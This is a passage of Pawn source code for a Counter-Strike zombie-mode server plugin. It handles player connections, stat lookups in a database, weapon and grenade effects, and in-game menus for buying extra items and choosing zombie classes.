	get_user_name ( id, PlayerName [id], charsmax ( PlayerName [ ] ) );

	if ( is_user_connected ( id ) )
	{
		client_print_color ( 0, print_team_grey, "^1Player^4 %s^1 connected from [^3%s^1] [^3%s^1]", PlayerName [id], Country, City);

		set_task ( 1.0, "SpectatorHudMessage", id + TASK_SHOWHUD, _, _, "b" );
	}
	else
	{
		IsBot [id] = true;

		if ( !HamCzBots ) set_task ( 0.1, "RegisterHamCzBots", id );
	}

	if ( is_user_connected ( id ) )

	set_task ( 1.0, "TaskCheckName", id );

	PlayerHasTag [id] = false;

	LoadPlayerTag ( id );

	if ( is_user_connected ( id ) ) JoinTime [id] = get_systime (  );

	if ( !is_dedicated_server (  ) && id == 1 )

	return get_pcvar_num ( AmxMode ) ? accessUser ( id ) : PLUGIN_CONTINUE;

	static queryData[32] = { 0, ... };

	if (isValidPlayer(id) && is_user_bot(id) == 0 && is_user_hltv(id) == 0)
	{
		resetPlayer(id);

		num_to_str(id, queryData, charsmax(queryData));

		get_user_name(id, g_Name[id], charsmax(g_Name[]));
		replace_all(g_Name[id], charsmax(g_Name[]), "`", "*");
		replace_all(g_Name[id], charsmax(g_Name[]), "'", "*");
		replace_all(g_Name[id], charsmax(g_Name[]), "\", "*");

		get_user_authid(id, g_Steam[id], charsmax(g_Steam[]));
		get_user_ip(id, g_Ip[id], charsmax(g_Ip[]), 1);

		/**
		* -----------------------------------------------------
		* Players
		* -----------------------------------------------------
		* Name
		* Steam
		* Ip
		* Score
		* Kills
		* Deaths
		* headShots
		* Time			- The time spent in minutes.
		* timeString	- Formatted as a string.
		* Seen			- get_systime() stamp.
		* seenString	- get_systime() stamp formatted as a time string including date.
		* kpdRatio		- Kills/ Deaths ratio.
		* kmdValue		- Kills - Deaths value.
		*/
		formatex(g_Query, charsmax(g_Query), "SELECT Score, Kills, Deaths, headShots, Time, timeString, \
			Seen, seenString, kpdRatio, kmdValue FROM Players WHERE Name = '%s';", g_Name[id]);

		SQL_ThreadQuery(g_Tuple, "retrieveOrCreatePlayer", g_Query, queryData, sizeof(queryData));
	}

	return PLUGIN_HANDLED;
}

public client_disconnect ( id )
{
	if ( IsAlive [id] ) CheckRound ( id );

	SaveStats ( id );

	SavePoints ( id );

	if ( HasJet [id] )

	DropJetpack ( id );

	Fly [id] = false;

	g_bFrozen [id] = false;

	zp_get_gold_ak [id] = false;

	zp_get_gold_de [id] = false;

	Rocket [id] = false;

	g_Damage2 [id] = false;

	g_Godmode [id] = false;

	HasJet [id] = 0;

	FlyEnergy [id] = 0;

	JoinTime [id] = 0

	HasTripMines [id] = 0;

	HasPlanting [id] = false;

	HasRemoving [id] = false;

	if ( PlantedMines [id] )
	{
		fwRemoveMinesByOwner ( id );

		PlantedMines [id] = 0;
	}

	remove_task ( id + TASK_TEAM );
	remove_task ( id + TASK_MODEL );
	remove_task ( id + TASK_SPAWN );
	remove_task ( id + TASK_BLOOD );
	remove_task ( id + TASK_BURN );
	remove_task ( id + TASK_NVISION );
	remove_task ( id + TASK_SHOWHUD );
	remove_task ( id + TASK_HEALTH );
	remove_task ( id + TASK_REMOVE );
	remove_task ( id + TASK_CREATE );
	remove_task ( id + TASK_REGENERATION );

	IsConnected [id] = false;

	IsBot [id] = false;

	IsAlive [id] = false;

	g_doubledamage[id] = false

	g_vip[id] = false

	if (isValidPlayer(id) && is_user_bot(id) == 0 && is_user_hltv(id) == 0)
	{
		resetPlayer(id);

		if (task_exists(id + Task_Update_Time))
		{
			remove_task(id + Task_Update_Time);
		}
	}

	fnCheckLastZombie (  );
}

public fwClientKill (  ) return FMRES_SUPERCEDE;

public fwEmitSound ( id, Channel, const Sample [], Float: Volume, Float: Attn, Flags, Pitch )
{
	if ( is_user_alive ( id ) )
	{
		new Clip, Ammo;

		new Weapon = get_user_weapon ( id, Clip, Ammo )

		if ( HasJet [id] && Weapon == CSW_KNIFE )
		{
			if ( equal ( Sample, "weapons/knife_slash1.wav" ) ) return FMRES_SUPERCEDE;

			if ( equal ( Sample, "weapons/knife_slash2.wav" ) ) return FMRES_SUPERCEDE;

			if ( equal ( Sample, "weapons/knife_deploy1.wav" ) ) return FMRES_SUPERCEDE;

			if ( equal ( Sample, "weapons/knife_hitwall1.wav" ) ) return FMRES_SUPERCEDE;

			if ( equal ( Sample, "weapons/knife_hit1.wav" ) ) return FMRES_SUPERCEDE;

			if ( equal ( Sample, "weapons/knife_hit2.wav" ) ) return FMRES_SUPERCEDE;

			if ( equal ( Sample, "weapons/knife_hit3.wav" ) ) return FMRES_SUPERCEDE;

			if ( equal ( Sample, "weapons/knife_hit4.wav" ) ) return FMRES_SUPERCEDE;

			if ( equal ( Sample, "weapons/knife_stab.wav" ) ) return FMRES_SUPERCEDE;
		}
	}
	if ( Sample [0] == 'h' && Sample [1] == 'o' && Sample [2] == 's' && Sample [3] == 't' && Sample [4] == 'a' && Sample [5] == 'g' && Sample [6] == 'e' )

		return FMRES_SUPERCEDE;

	if ( !is_user_valid_connected ( id ) || !IsZombie [id] )

		return FMRES_IGNORED;

	static Sound [64];

	if ( Sample [7] == 'b' && Sample [8] == 'h' && Sample [9] == 'i' && Sample [10] == 't' )
	{
		if ( IsNemesis [id] )
		{
			ArrayGetString ( NemesisPain, random_num ( 0, ArraySize ( NemesisPain ) - 1 ), Sound, charsmax ( Sound ) );

			EmitSound ( id, Channel, Sound );
		}
		else if ( IsAssassin [id] )
		{
			ArrayGetString ( AssassinPain, random_num ( 0, ArraySize ( AssassinPain ) - 1 ), Sound, charsmax ( Sound ) );

			EmitSound ( id, Channel, Sound );
		}
		else
		{
			ArrayGetString ( ZombiePain, random_num ( 0, ArraySize ( ZombiePain ) - 1 ), Sound, charsmax ( Sound ) );

			EmitSound ( id, Channel, Sound );
		}

		return FMRES_SUPERCEDE;
	}

	if ( Sample [8] == 'k' && Sample [9] == 'n' && Sample [10] == 'i' )
	{
		if ( Sample [14] == 's' && Sample [15] == 'l' && Sample [16] == 'a' )
		{
			ArrayGetString ( ZombieMissSlash, random_num ( 0, ArraySize ( ZombieMissSlash ) - 1 ), Sound, charsmax ( Sound ) );

			EmitSound ( id, Channel, Sound );

			return FMRES_SUPERCEDE;
		}
		if ( Sample [14] == 'h' && Sample [15] == 'i' && Sample [16] == 't')
		{
			if ( Sample [17] == 'w' )
			{
			         ArrayGetString ( ZombieMissWall, random_num ( 0, ArraySize ( ZombieMissWall ) - 1 ), Sound, charsmax ( Sound ) );

			         EmitSound ( id, Channel, Sound );

				return FMRES_SUPERCEDE;
			}
			else
			{
			         ArrayGetString ( ZombieHitNormal, random_num ( 0, ArraySize ( ZombieHitNormal ) - 1 ), Sound, charsmax ( Sound ) );

			         EmitSound ( id, Channel, Sound );

				return FMRES_SUPERCEDE;
			}
		}
		if ( Sample [14] == 's' && Sample [15] == 't' && Sample [16] == 'a')
		{
			ArrayGetString ( ZombieHitStab, random_num ( 0, ArraySize ( ZombieHitStab ) - 1 ), Sound, charsmax ( Sound ) );

			EmitSound ( id, Channel, Sound );

			return FMRES_SUPERCEDE;
		}
	}

	if ( Sample [7] == 'd' && ( ( Sample [8] == 'i' && Sample [9] == 'e' ) || ( Sample [8] == 'e' && Sample [9] == 'a' ) ) )
	{
		ArrayGetString ( ZombieDie, random_num ( 0, ArraySize ( ZombieDie ) - 1 ), Sound, charsmax ( Sound ) );

		EmitSound ( id, Channel, Sound );

		return FMRES_SUPERCEDE;
	}

	if ( Sample [10] == 'f' && Sample [11] == 'a' && Sample [12] == 'l' && Sample [13] == 'l' )
	{
		ArrayGetString ( ZombieFall, random_num ( 0, ArraySize ( ZombieFall ) - 1 ), Sound, charsmax ( Sound ) );

		EmitSound ( id, Channel, Sound );

		return FMRES_SUPERCEDE;
	}

	return FMRES_IGNORED;
}

public fwSetClientKeyValue ( id, const infobuffer[], const key [] )
{
	if ( key [0] == 'm' && key [1] == 'o' && key [2] == 'd' && key [3] == 'e' && key [4] == 'l' )

		return FMRES_SUPERCEDE;

	return FMRES_IGNORED;
}


public fwGetGameDescription (  )
{
	forward_return ( FMV_STRING, "Counter-Strike" );

	return FMRES_SUPERCEDE;
}

public fwSetModel ( Entity, const Model [] )
{
	if ( strlen ( Model ) < 8 ) return;

	static ClassName [10];

	pev ( Entity, pev_classname, ClassName, charsmax ( ClassName ) );

	if ( equal ( ClassName, "weaponbox" ) )
	{
		set_pev ( Entity, pev_nextthink, get_gametime (  ) + 1.0 );

		return;
	}

	if ( Model [7] != 'w' || Model [8] != '_' ) return;

	static Float: DmgTime;

	pev ( Entity, pev_dmgtime, DmgTime );

	if ( DmgTime == 0.0 ) return;

	if ( IsZombie [pev ( Entity, pev_owner )] )
	{
		if ( Model [9] == 'h' && Model [10] == 'e' )
		{
			fm_set_rendering ( Entity, kRenderFxGlowShell, 0, 250, 0, kRenderNormal, 16 );

			message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
			write_byte ( 22 ) ;
			write_short ( Entity );
			write_short ( TrailSpr );
			write_byte ( 10 );
			write_byte ( 10 );
			write_byte ( 0 );
			write_byte ( 250 );
			write_byte ( 0 );
			write_byte ( 200 );
			message_end (  );

			set_pev ( Entity, pev_flTimeStepSound, 1111 );
		}
	}
	else if ( Model [9] == 'h' && Model [10] == 'e' )
	{
		fm_set_rendering ( Entity, kRenderFxGlowShell, 200, 0, 0, kRenderNormal, 16 );

		message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
		write_byte ( 22 );
		write_short ( Entity );
		write_short ( TrailSpr );
		write_byte ( 10 );
		write_byte ( 10 );
		write_byte ( 200 );
		write_byte ( 0 );
		write_byte ( 0 );
		write_byte ( 200 );
		message_end (  );

		set_pev ( Entity, pev_flTimeStepSound, 2222 );
	}
	else if ( Model [9] == 'f' && Model [10] == 'l' )
	{
		fm_set_rendering ( Entity, kRenderFxGlowShell, 250, 100, 0, kRenderNormal, 16 );

		message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
		write_byte ( 22 );
		write_short ( Entity );
		write_short ( TrailSpr );
		write_byte ( 10 );
		write_byte ( 10 );
		write_byte ( 250 );
		write_byte ( 40 );
		write_byte ( 0 );
		write_byte ( 200 );
		message_end (  );

		set_pev ( Entity, pev_flTimeStepSound, 4444 );
	}
	else if ( Model[9] == 's' && Model[10] == 'm' )
	{
		fm_set_rendering ( Entity, kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 16 );

		message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
		write_byte ( 22 );
		write_short ( Entity );
		write_short ( TrailSpr);
		write_byte ( 10 );
		write_byte ( 10 );
		write_byte ( 0 );
		write_byte ( 100 );
		write_byte ( 200 );
		write_byte ( 200 );
		message_end (  );

		set_pev ( Entity, pev_flTimeStepSound, 3333 );
	}
}

public fwThinkGrenade ( Entity )
{
	if ( !pev_valid ( Entity ) ) return HAM_IGNORED;

	static Float: DmgTime, Float: CurrentTime;

	pev ( Entity, pev_dmgtime, DmgTime );

	CurrentTime = get_gametime (  );

	if ( DmgTime > CurrentTime ) return HAM_IGNORED;

	switch ( pev ( Entity, pev_flTimeStepSound ) )
	{
		case 1111:
		{
			InfectionExplode ( Entity )

			return HAM_SUPERCEDE;
		}
		case 2222:
		{
			HeExplode ( Entity );

			return HAM_SUPERCEDE;
		}
		case 3333:
		{
			FrostExplode ( Entity );

			return HAM_SUPERCEDE;
		}
		case 4444:
		{
			FireExplode ( Entity );

			return HAM_SUPERCEDE;
		}
	}

	return HAM_IGNORED;
}

public fwPlayerPreThink ( id )
{
	if ( !IsAlive [id] ) return;

	if ( IsZombie [id] && !IsNemesis [id] && IsAssassin [id] )

		set_pev ( id, pev_flTimeStepSound, 999 );

	if ( IsFrozen [id])
	{
		set_pev ( id, pev_velocity, Float: {0.0,0.0,0.0} );

		set_pev ( id, pev_maxspeed, 1.0 );

		return;
	}
	else if ( FreezeTime )
	{
		return;
	}
	else
	{
		if ( IsZombie [id] )
		{
			if ( IsNemesis [id] )

				set_pev ( id, pev_maxspeed, CachedNemesisSpeed );

			else if ( IsAssassin [id] )

				set_pev ( id, pev_maxspeed, CachedAssassinSpeed );

			else

				set_pev ( id, pev_maxspeed, ZombieSpeed [id] )
		}
		else
		{
			if ( IsSurvivor [id] )

				set_pev ( id, pev_maxspeed, CachedSurvivorSpeed );

			else if ( IsSniper [id] )

			         set_pev(id, pev_maxspeed, CachedSniperSpeed );

			else

				set_pev(id, pev_maxspeed, CachedHumanSpeed );
		}
	}

	static Float: CoolDown, Float: CurrentTime;

	if ( IsZombie [id] && IsNemesis [id] )
	{
		CoolDown = 1.0;
	}
	else return;

	CurrentTime = get_gametime (  );

	if ( CurrentTime - LastLeapTime [id] < CoolDown ) return;

	if ( !IsBot [id] && !( pev ( id, pev_button ) & ( IN_JUMP | IN_DUCK ) == ( IN_JUMP | IN_DUCK ) ) ) return;

	if ( !( pev ( id, pev_flags ) & FL_ONGROUND ) || fm_get_speed ( id ) < 80 ) return;

	static Float: Velocity [3];

	velocity_by_aim ( id, 500, Velocity )

	Velocity [2] = 300.0;

	set_pev ( id, pev_velocity, Velocity );

	LastLeapTime [id] = CurrentTime;

	if (random_num(0, 5) == 0)
	{
		if (g_doubledamage[id])
		set_pev(id, pev_effects, pev(id, pev_effects) | EF_BRIGHTLIGHT)
	}
}

public fmPlayerPreThink ( id )
{
	if ( CheckValidPlayer ( id ) )
	{
		new iWeaponID = get_user_weapon(id);

		if ( iWeaponID != CSW_KNIFE || !IsZombie [id] )
		{
			OPCancel ( id );

			return FMRES_IGNORED;
		}

		if ( iBlinks [id] == 0 ) return FMRES_IGNORED;

		new Button = pev ( id, pev_button );

		if ( !( Button & IN_ATTACK ) && !( Button & IN_ATTACK2 ) )
		{
			OPCancel ( id );

			return FMRES_IGNORED;
		}

		if ( iSlash [id] ) iSlash [id] = 0;

		OPNearEnemy ( id );

		if ( InBlink [id] )
		{
			OPSetBlink ( id );

			OPBlink ( id );

			iCanceled [id] = 0;
		}
	}

	return FMRES_IGNORED;
}

public cmdNightVision ( id )
{
	if ( NVision [id] )
	{
		NVisionEnabled [id] = !( NVisionEnabled [id] )

		remove_task ( id + TASK_NVISION );

		if ( NVisionEnabled [id] ) set_task ( 0.1, "UserNVision", id + TASK_NVISION, _, _, "b" );
	}

	return PLUGIN_HANDLED;
}

public cmdDrop ( id )
{
	if ( HasJet [id] )
	{
		new Clip, Ammo;

		new Weapon = get_user_weapon ( id, Clip, Ammo );

		if ( Weapon == CSW_KNIFE )
		{
			DropJetpack ( id )

			if ( !IsZombie [id] )
			{
				entity_set_string ( id, EV_SZ_viewmodel, "models/v_knife.mdl" );

				entity_set_string ( id, EV_SZ_weaponmodel, "models/p_knife.mdl" );
			}
			return PLUGIN_HANDLED
		}
	}

	return PLUGIN_CONTINUE;
}

public cmdChangeTeam ( id )
{
	static Team; Team = fm_cs_get_user_team ( id );

	if ( Team == FM_CS_TEAM_SPECTATOR || Team == FM_CS_TEAM_UNASSIGNED ) return PLUGIN_CONTINUE;

	ShowMenuGame ( id );

	return PLUGIN_HANDLED;
}

ShowMenuGame ( id )
{
	g_iGameMenu = menu_create ( "\yGame Menu", "_GameMenu" );
	menu_additem ( g_iGameMenu, "\wBuy extra items", "1", 0 );
	menu_additem ( g_iGameMenu, "\wChoose zombie class", "2", 0 );
	menu_additem ( g_iGameMenu, "\wBuy features with points", "3", 0 );
	menu_additem ( g_iGameMenu, "\wUnstuck", "4", 0 );
	menu_additem ( g_iGameMenu, "\wSee rank", "5", 0 );
	menu_additem ( g_iGameMenu, "\wSee top and all statistics", "6", 0 );

	menu_setprop ( g_iGameMenu, MPROP_EXIT, MEXIT_ALL );
	menu_display ( id, g_iGameMenu, 0 );
	return PLUGIN_CONTINUE;
}

ShowMenuExtras ( id )
{
	static MenuID, Menu [128], Item, Team, Buffer [32];

	formatex ( Menu, charsmax ( Menu ), "\yExtra Items" );

	MenuID = menu_create ( Menu, "MenuExtras" );

	for ( Item = 0; Item < iExtraItem; Item ++ )
	{
		Team = ArrayGetCell ( ExtraItemTeam_01, Item );

		if ( ( IsZombie [id] && !IsNemesis [id] && !IsAssassin [id] && !( Team & ZRISES_TEAM_ZOMBIE ) ) || ( !IsZombie [id] && !IsSurvivor [id] && !IsSniper [id] && !( Team & ZRISES_TEAM_HUMAN ) ) || ( IsNemesis [id] && !( Team & ZRISES_TEAM_NEMESIS ) ) || ( IsAssassin [id] && !( Team & ZRISES_TEAM_ASSASSIN ) ) || ( IsSurvivor [id] && !( Team & ZRISES_TEAM_SURVIVOR ) ) || ( IsSniper [id] && !( Team & ZRISES_TEAM_SNIPER ) ) ) continue;

		switch ( Item )
		{
			case EXTRA_NAPALM_NADE: formatex ( Buffer, charsmax ( Buffer ), "Fire Grenade" );

			case EXTRA_FROST_NADE: formatex ( Buffer, charsmax ( Buffer ), "Freeze Grenade" );

			case EXTRA_EXPLOSION_NADE: formatex ( Buffer, charsmax ( Buffer ), "Explosion Grenade" );

			case EXTRA_KILLING_NADE: formatex ( Buffer, charsmax ( Buffer ), "Deadly Shot\y (Recommended)" );

			case EXTRA_M249_PARA_MACHINEGUN: formatex ( Buffer, charsmax ( Buffer ), "M249 Machine Gun" );

			case EXTRA_G3SG1_AUTO_SNIPER: formatex ( Buffer, charsmax ( Buffer ), "G3SG1 Auto Sniper Rifle" );

			case EXTRA_SG550_AUTO_SNIPER: formatex ( Buffer, charsmax ( Buffer ), "SG550 Auto Sniper Rifle" );

			case EXTRA_AWP_MAGNUM_SNIPER: formatex ( Buffer, charsmax ( Buffer ), "AWP Sniper Rifle" );

			case EXTRA_NVISION: formatex ( Buffer, charsmax ( Buffer ), "NightVision Googles" );

			case EXTRA_JETPACK: formatex ( Buffer, charsmax ( Buffer ), "Jetpack + Bazooka" );

			case EXTRA_UNLIMITEDCLIP: formatex ( Buffer, charsmax ( Buffer ), "Unlimited Clip" );

			case EXTRA_ARMOR_100: formatex ( Buffer, charsmax ( Buffer ), "Armor\y (100ap)" );

			case EXTRA_ARMOR_200: formatex ( Buffer, charsmax ( Buffer ), "Armor\y (200ap)" );

			case EXTRA_MULTIJUMP: formatex ( Buffer, charsmax ( Buffer ), "Multijump +1" );

			case EXTRA_TRYDER: formatex ( Buffer, charsmax ( Buffer ), "Tryder" );

			case EXTRA_AK47GOLD: formatex ( Buffer, charsmax ( Buffer ), "Golden Kalashnikov\y (AK-47)" );

			case EXTRA_DEAGLEGOLD: formatex ( Buffer, charsmax ( Buffer ), "Golden Deagle\y (Night Hawk)" );

			case EXTRA_SURVIVOR: formatex ( Buffer, charsmax ( Buffer ), "Survivor" );

			case EXTRA_SNIPER: formatex ( Buffer, charsmax ( Buffer ), "Sniper" );

			case EXTRA_NEMESIS: formatex ( Buffer, charsmax ( Buffer ), "Nemesis" );

			case EXTRA_ASSASSIN: formatex ( Buffer, charsmax ( Buffer ), "Assassin" );

			case EXTRA_ANTIDOTE: formatex ( Buffer, charsmax ( Buffer ), "Antidote" );

			case EXTRA_INFECTIONBOMB: formatex ( Buffer, charsmax ( Buffer ), "Infection Grenade" );

			case EXTRA_MADNESS: formatex ( Buffer, charsmax ( Buffer ), "Zombie Madness" );

			case EXTRA_KNIFEBLINK: formatex ( Buffer, charsmax ( Buffer ), "Knife Blink" );
	         }

	         formatex ( Menu, charsmax ( Menu ), "%s \r[%d packs]", Buffer, ArrayGetCell ( ExtraItemCost_01, Item ) );

	         Buffer [0] = Item;

	         Buffer [1] = 0;

	         menu_additem ( MenuID, Menu, Buffer );
        }

        if ( menu_items ( MenuID ) <= 0 )
        {
	         client_print_color ( id, print_team_default, "%s Extra Items are disabled.", CHAT_PREFIX );

		menu_destroy ( MenuID );

		return;
        }

        formatex ( Menu, charsmax ( Menu ), "Back" );

        menu_setprop ( MenuID, MPROP_BACKNAME, Menu );

        formatex ( Menu, charsmax ( Menu ), "More" );

        menu_setprop ( MenuID, MPROP_NEXTNAME, Menu );

        formatex ( Menu, charsmax ( Menu ), "Exit");

        menu_setprop ( MenuID, MPROP_EXITNAME, Menu );

        menu_display ( id, MenuID );
}

public ShowMenuZClass ( id )
{
         if ( !IsConnected [id] ) return;

	if ( IsBot [id] )
	{
		ZombieClassNext [id] = random_num ( 0, iZClass - 1 );

		return;
	}

	static MenuID, Menu [128], Class, Buffer_01 [32], Buffer_02 [32];

	formatex ( Menu, charsmax ( Menu ), "Zombie Class\y" );

	MenuID = menu_create ( Menu, "MenuZClass" );

	for ( Class = 0; Class < iZClass; Class ++ )
	{
		ArrayGetString ( ZClassName_01, Class, Buffer_01, charsmax ( Buffer_01 ) );

		ArrayGetString ( ZClassInfo_01, Class, Buffer_02, charsmax ( Buffer_02 ) );

		switch ( Class )
		{
			case ZCLASS_CLASSIC:
			{
				formatex ( Buffer_01, charsmax ( Buffer_01 ), "Classic" );
				formatex ( Buffer_02, charsmax ( Buffer_02 ), "=Balanced=" );
			}
			case ZCLASS_RAPTOR:
			{
				formatex ( Buffer_01, charsmax ( Buffer_01 ), "Raptor" );
				formatex ( Buffer_02, charsmax ( Buffer_02 ), "Speed ++" );
			}
			case ZCLASS_MUTANT:
			{
				formatex ( Buffer_01, charsmax ( Buffer_01 ), "Mutant" );
				formatex ( Buffer_02, charsmax ( Buffer_02 ), "Health ++" );
			}
			case ZCLASS_FROZEN:
			{
				formatex ( Buffer_01, charsmax ( Buffer_01 ), "Tight" );
				formatex ( Buffer_02, charsmax ( Buffer_02 ), "Double Jump" );
			}
			case ZCLASS_REGENERATOR:
			{
				formatex ( Buffer_01, charsmax ( Buffer_01 ), "Regenerator" );
				formatex ( Buffer_02, charsmax ( Buffer_02 ), "Regeneration" );
			}
			case ZCLASS_PREDATOR:
			{
				formatex ( Buffer_01, charsmax ( Buffer_01 ), "Predator Blue" );
				formatex ( Buffer_02, charsmax ( Buffer_02 ), "Powerful" );
			}
			case ZCLASS_HUNTER:
			{
				formatex ( Buffer_01, charsmax ( Buffer_01 ), "Hunter" );
				formatex ( Buffer_02, charsmax ( Buffer_02 ), "Silent Killer" );
			}
		}


		formatex ( Menu, charsmax ( Menu ), "%s\r [%s]", Buffer_01, Buffer_02 );

		Buffer_01 [0] = Class;

		Buffer_01 [1] = 0;

		menu_additem ( MenuID, Menu, Buffer_01 );
	}

	formatex ( Menu, charsmax ( Menu ), "Back" );

	menu_setprop ( MenuID, MPROP_BACKNAME, Menu );

	formatex ( Menu, charsmax ( Menu ), "More" );

	menu_setprop ( MenuID, MPROP_NEXTNAME, Menu );

	formatex ( Menu, charsmax ( Menu ), "Exit" );

	menu_setprop ( MenuID, MPROP_EXITNAME, Menu );

	menu_display ( id, MenuID );
}

public _GameMenu ( id, menu, item )
{
	if ( item == MENU_EXIT )
	{
		menu_destroy ( menu );
		return PLUGIN_HANDLED;
	}

	new szData [ 7 ], szName [ 64 ];
	new Access, Callback;

	menu_item_getinfo ( menu, item, Access, szData, 5, szName, 63, Callback );

	new szKey = str_to_num ( szData );

	switch ( szKey )
	{
		case 1 :
		{
			if ( IsAlive [id] )

			ShowMenuExtras ( id );

			else

			client_print_color ( id, print_team_default, "%s Extra items are unavailable right now...", CHAT_PREFIX );
		}
		case 2 :
		{
			ShowMenuZClass ( id );
		}
		case 3 :
		{
			if (!IsZombie[id])
			client_cmd(id, "shophm")

			else

			client_cmd(id, "shopzm")
		}
		case 4 :
		{
		if (IsAlive[id])
		{
		if (is_player_stuck(id))
		{
		client_print_color ( id, print_team_default, "%s You have been unstucked!", CHAT_PREFIX );
		static players[32], pnum , Float:origin[3], Float:mins[3], hull, Float:vec[3], o , i
		get_players(players, pnum)

		for(i=0; i<pnum; i++)
		{
		id = players[i]
		if (IsConnected[id] && IsAlive[id])
		{
		pev(id, pev_origin, origin)
		hull = pev(id, pev_flags) & FL_DUCKING ? HULL_HEAD : HULL_HUMAN
		if (!is_hull_vacant(origin, hull,id) && !get_user_noclip(id) && !(pev(id,pev_solid) & SOLID_NOT))
		{
		++on_stuck[id]
		if(on_stuck[id] >= 1)
		{
		pev(id, pev_mins, mins)
		vec[2] = origin[2]
		for (o=0; o < sizeof sizez; ++o)
		{
		vec[0] = origin[0] - mins[0] * sizez[o][0]
		vec[1] = origin[1] - mins[1] * sizez[o][1]
		vec[2] = origin[2] - mins[2] * sizez[o][2]
		if (is_hull_vacant(vec, hull,id))
		{
		engfunc(EngFunc_SetOrigin, id, vec)
		set_pev(id,pev_velocity,{0.0,0.0,0.0})
		o = sizeof sizez
		}
		}
		}
		}
		else
		{
		on_stuck[id] = 0
		}
		}
		}
		}
		else
		client_print_color ( id, print_team_default, "%s You are dead or your are not stuck...", CHAT_PREFIX );
		}
		else
		client_print_color ( id, print_team_default, "%s Unavailable command.", CHAT_PREFIX );
		}
		case 5 :
		{
             client_cmd(id, "say /rank")
		}
		case 6 :
		{
            client_cmd(id, "say /top")
		}
	}

	return PLUGIN_CONTINUE;
}

public MenuExtras ( id, MenuID, item )
{
	if ( item == MENU_EXIT )
	{
		menu_destroy ( MenuID );

		return PLUGIN_HANDLED;
	}

	if ( !IsAlive [id] )
	{
		client_print_color ( id, print_team_default, "%s Extra items are unavailable right now...", CHAT_PREFIX );

		menu_destroy ( MenuID );

		return PLUGIN_HANDLED;
	}

	static Buffer [2], Dummy, ItemID;

	menu_item_getinfo ( MenuID, item, Dummy, Buffer, charsmax ( Buffer ), _, _, Dummy );

	ItemID = Buffer [0];

	BuyExtraItem ( id, ItemID );

	menu_destroy ( MenuID );

	return PLUGIN_HANDLED;
}


BuyExtraItem ( id, itemid, IgnoreCost = 0 )
{
	static Team; Team = ArrayGetCell ( ExtraItemTeam_01, itemid );

	if ( ( IsZombie [id] && !IsNemesis [id] && !IsAssassin [id] && !( Team & ZRISES_TEAM_ZOMBIE ) ) || ( !IsZombie [id] && !IsSurvivor [id] && !IsSniper [id] && !( Team & ZRISES_TEAM_HUMAN ) ) || ( IsNemesis [id] && !( Team & ZRISES_TEAM_NEMESIS ) ) || ( IsAssassin [id] && !( Team & ZRISES_TEAM_ASSASSIN ) ) || ( IsSurvivor [id] && !( Team & ZRISES_TEAM_SURVIVOR ) ) || ( IsSniper [id] && !( Team & ZRISES_TEAM_SNIPER ) ) )
	{
		client_print_color ( id, print_team_default, "%s Extra items are unavailable right now...", CHAT_PREFIX );

		return;
	}

	if ( ( itemid == EXTRA_ANTIDOTE && ( EndRound || SwarmRound || NemesisRound || AssassinRound || SurvivorRound || SniperRound || PlagueRound || ArmageddonRound || ApocalypseRound || NightmareRound || fnGetZombies (  ) <= 1 || fnGetHumans (  ) == 1 ) )
	|| ( itemid == EXTRA_MADNESS && NoDamage [id] ) || ( itemid == EXTRA_INFECTIONBOMB && ( EndRound || SwarmRound || NemesisRound || AssassinRound || SurvivorRound || SniperRound || PlagueRound || ArmageddonRound || ApocalypseRound || NightmareRound ) ) )
	{
		client_print_color ( id, print_team_default, "%s You can't use this right now.", CHAT_PREFIX );

		return;
	}

	if ( !IgnoreCost )
	{
		if (AmmoPacks [id] < ArrayGetCell ( ExtraItemCost_01, itemid ) )
		{
			client_print_color ( id, print_team_default, "%s You dont have enough ammo packs.", CHAT_PREFIX );

			return;
		}

 		if ( ( itemid == EXTRA_SURVIVOR && zHasRoundStarted (  ) || EndRound ) || ( itemid == EXTRA_SNIPER && zHasRoundStarted (  ) || EndRound ) || ( itemid == EXTRA_NEMESIS && zHasRoundStarted (  ) || EndRound ) || ( itemid == EXTRA_ASSASSIN && zHasRoundStarted (  ) || EndRound ) )
		{

			client_print_color ( id, print_team_default, "%s This item can only be bought before the round mode starts", CHAT_PREFIX );

			return;
		}

		AmmoPacks [id] -= ArrayGetCell ( ExtraItemCost_01, itemid );
	}

	switch ( itemid )
	{
		case EXTRA_NVISION:
		{
			NVision [id] = true;

			if ( !IsBot [id] )
			{
				NVisionEnabled [id] = true;

				remove_task ( id + TASK_NVISION );

				set_task ( 0.1, "UserNVision", id + TASK_NVISION, _, _, "b" );

				set_hudmessage ( 255, 145, 0, -1.0, 0.7, 1, 0.0, 5.0, 1.0, 1.0, -1 );

				ShowSyncHudMsg ( id, HudMsgSync [1], "You bought NightVision!" );
			}
			else
				cs_set_user_nvg ( id, 1 );
		}
		case EXTRA_EXPLOSION_NADE:
		{
			if ( user_has_weapon ( id, CSW_HEGRENADE ) )
			{
				cs_set_user_bpammo ( id, CSW_HEGRENADE, cs_get_user_bpammo ( id, CSW_HEGRENADE ) + 1 );

				message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "AmmoPickup" ), _, id );

				write_byte ( AMMOID [CSW_HEGRENADE] );

				write_byte ( 1 );

				message_end (  );

				EmitSound ( id, CHAN_ITEM, "items/9mmclip1.wav" );

				return;
			}

			fm_give_item ( id, "weapon_hegrenade" );
		}
		case EXTRA_NAPALM_NADE:
		{
			if ( user_has_weapon ( id, CSW_FLASHBANG ) )
			{
				cs_set_user_bpammo ( id, CSW_FLASHBANG, cs_get_user_bpammo ( id, CSW_FLASHBANG ) + 1 );

				message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "AmmoPickup" ), _, id );

				write_byte ( AMMOID [CSW_FLASHBANG] );

				write_byte ( 1 );

				message_end (  );

				EmitSound ( id, CHAN_ITEM, "items/9mmclip1.wav" );

				return;
			}

			fm_give_item ( id, "weapon_flashbang" );
		}
		case EXTRA_FROST_NADE:
		{
			if ( user_has_weapon ( id, CSW_SMOKEGRENADE ) )
			{
				cs_set_user_bpammo ( id, CSW_SMOKEGRENADE, cs_get_user_bpammo ( id, CSW_SMOKEGRENADE ) + 1 );

				message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "AmmoPickup" ), _, id );

				write_byte ( AMMOID [CSW_SMOKEGRENADE] );

				write_byte ( 1 );

				message_end (  );

